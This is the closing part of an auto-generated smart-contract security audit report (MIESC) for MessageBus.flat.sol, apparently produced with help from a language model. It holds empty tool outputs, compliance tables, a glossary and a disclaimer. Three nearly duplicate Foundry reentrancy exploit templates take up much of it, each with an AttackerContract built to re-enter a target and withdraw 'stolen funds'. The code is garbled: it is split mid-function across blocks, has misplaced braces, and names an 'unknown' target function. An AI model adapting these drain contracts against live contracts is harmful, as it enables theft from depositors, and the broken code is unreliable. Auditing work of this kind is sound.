```
Analysis completed successfully.
Findings detected: 0
```

A.48. exploit_synthesizer

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 0
```

A.49. vuln_verifier

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 0
```

A.50. remediation_validator

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 0
```

Appendix B: Proof of Concept Exploits

The following PoC exploit templates were generated for critical/high findings. These are designed for local Foundry test environments and are NOT production exploits.

B.48. F-048 - reentrancy-state-change

Severity: HIGH | **Category:** reentrancy-state-change

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title MessageBusflat Reentrancy Exploit PoC
```

```

* @notice Proof of Concept for reentrancy vulnerability
* @dev Generated by MIESC PoC Generator
*
* Vulnerability: Changing state after an external call can lead to re-entrancy
attacks. Use the checks-effects-interactions pattern to avoid this issue.
* Severity: High
* Target Function: unknown
* Generated: 2026-09-11 14:46
*
* Attack Vector:
* 1. Attacker calls vulnerable function
* 2. Before state update, external call is made to attacker
* 3. Attacker re-enters the vulnerable function
* 4. State is read before previous call completed
* 5. Repeat until funds drained
*/
contract MessageBusflatReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function unknown() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target contract
        // target = IVulnerable(deployCode("MessageBusflat.sol"));

        // Deploy attacker contract
        vm.prank(attacker);
        attackerContract = new AttackerContract(address(target));

        // Victim deposits funds
        vm.prank(victim);
        target.deposit{value: VICTIM_DEPOSIT}();

        console.log("=== Setup Complete ===");
        console.log("Target balance:", address(target).balance);
        console.log("Victim deposited:", VICTIM_DEPOSIT);
    }

    function test_exploit_reentrancy() public {
        console.log("\n=== Starting Reentrancy Attack ===");
    }
}

```

```

uint256 targetBalanceBefore = address(target).balance;
uint256 attackerBalanceBefore = attacker.balance;

console.log("Target balance before:", targetBalanceBefore);
console.log("Attacker balance before:", attackerBalanceBefore);

// Fund attacker contract
vm.prank(attacker);
(bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
require(sent, "Failed to fund attacker");

// Execute attack
vm.prank(attacker);
attackerContract.attack();

// Withdraw stolen funds
vm.prank(attacker);
attackerContract.withdrawStolenFunds();

uint256 targetBalanceAfter = address(target).balance;
uint256 attackerBalanceAfter = attacker.balance;

console.log("\n=== Attack Complete ===");
console.log("Target balance after:", targetBalanceAfter);
console.log("Attacker balance after:", attackerBalanceAfter);
console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

// Assertions
assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    uint256 count = attackerContract.reentrancyCount();
    console.log("Reentrancy count:", count);

    assertGt(count, 1, "Should have re-entered at least once");
}
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }
}

```

```

receive() external payable {
    // Reenter if target still has funds
    if (target.balance >= 1 ether && reentrancyCount < 10) {
        reentrancyCount++;
        console.log("Re-entering, count:", reentrancyCount);

        // Call vulnerable function again
        (bool success,) = target.call(
            abi.encodeWithSignature("unknown()")
        );
        require(success, "Reentrancy failed");
    }
}

```

```

function attack() external {
    require(msg.sender == owner, "Not owner");

    // Initial deposit
    (bool depositSuccess,) = target.call{value: 1 ether}(
        abi.encodeWithSignature("deposit()")
    );
}

```

B.49. F-049 - reentrancy-state-change

Severity: HIGH | **Category:** reentrancy-state-change

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title MessageBusflat Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Changing state after an external call can lead to re-entrancy
 attacks. Use the checks-effects-interactions pattern to avoid this issue.
 * Severity: High
 * Target Function: unknown
 * Generated: 2026-09-11 14:46
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract MessageBusflatReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function unknown() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
}

```

```

address public victim;

// Initial balances
uint256 constant VICTIM_DEPOSIT = 10 ether;
uint256 constant ATTACKER_DEPOSIT = 1 ether;

function setUp() public {
    // Setup accounts
    attacker = makeAddr("attacker");
    victim = makeAddr("victim");

    vm.deal(attacker, 100 ether);
    vm.deal(victim, 10 ether);

    // Deploy target contract
    // target = IVulnerable(deployCode("MessageBusflat.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost

```

```

funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    uint256 count = attackerContract.reentrancyCount();
    console.log("Reentrancy count:", count);

    assertGt(count, 1, "Should have re-entered at least once");
}
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance >= 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("unknown()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("unknown()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {

```

```

        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
}

```

B.50. F-050 - reentrancy-state-change

Severity: HIGH | **Category:** reentrancy-state-change

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title MessageBusflat Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Changing state after an external call can lead to re-entrancy
 attacks.Use the checks-effects-interactions pattern to avoid this issue.
 * Severity: High
 * Target Function: unknown
 * Generated: 2026-09-11 14:46
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract MessageBusflatReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function unknown() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);
    }
}

```

```

    // Deploy target contract
    // target = IVulnerable(deployCode("MessageBusflat.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

```

```

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }
}

```

Appendix C: Files Analyzed

#	FILE PATH	LINES	FUNCTIONS	FINDINGS
1	MessageBus.flat.sol	379	22	126

Appendix D: SWC Registry Compliance

SWC ID	TITLE	STATUS	FINDING(S)
SWC-101	Integer Overflow and Underflow	Found	F1, F2
SWC-102	Outdated Compiler Version	Not Found	--
SWC-103	Floating Pragma	Found	F1
SWC-104	Unchecked Call Return Value	Found	F1
SWC-105	Unprotected Ether Withdrawal	Found	F1, F2, F3, F4, F5, F6, F7, F8, F9, F10, F11, F12
SWC-107	Reentrancy	Found	F1, F2, F3, F4, F5
SWC-113	DoS with Failed Call	Found	F1
SWC-115	Authorization through tx.origin	Not Found	--
SWC-116		Found	F1, F2

SWC ID	TITLE	STATUS	FINDING(S)
	Block values as a proxy for time		

Appendix E: OWASP Smart Contract Top 10

RANK	CATEGORY	STATUS	FINDINGS
SC01	Reentrancy Attacks		5
SC02	Access Control Vulnerabilities		12
SC03	Arithmetic Issues		11
SC04	Unchecked Return Values		2
SC05	Denial of Service		1
SC06	Bad Randomness		1
SC07	Front-Running		1
SC08	Time Manipulation		2

Appendix F: Glossary

TERM	DEFINITION
Reentrancy	A vulnerability where an external call allows execution to re-enter the calling contract before the first execution completes
Integer Overflow	When an arithmetic operation results in a value larger than can be stored in the variable
Front-running	Exploiting knowledge of pending transactions to gain an advantage
Flash Loan Attack	Using uncollateralized loans within a single transaction to manipulate protocols
Oracle Manipulation	Attacking price feeds or external data sources to influence contract behavior
Access Control	Mechanisms that restrict who can execute sensitive functions

Appendix G: Audit Trail

EVENT	TIMESTAMP	HASH
Contract Snapshot	2026-09-11	N/A
Analysis Started	2026-09-11	--
Analysis Completed	2026-09-11 14:38:02	--
Report Generated	2026-09-11 14:38:02	--
Report Hash	2026-09-11 14:38:02	N/A

Disclaimer

This audit report is provided on an "AS IS" basis without warranties of any kind, whether express or implied. The findings and recommendations represent the auditor's professional opinion based on the scope and methodology described.

Limitations: - This audit does not guarantee the absence of vulnerabilities - Smart contract security is an evolving field - New vulnerabilities may be discovered post-audit - Economic and governance attacks may not be fully modeled - The client is responsible for implementing and testing fixes

Model-Assisted Interpretation Disclosure: Sections labeled as model-assisted were produced using large language models (mistral:latest). These interpretations are supplementary and must be reviewed by qualified security professionals before operational use.

Powered by [MIESC](https://github.com/fboiero/MIESC) Multi-layer Intelligent Evaluation for Smart Contracts *Report generated: 2026-09-11 14:38:02* *Report Version: 1.0*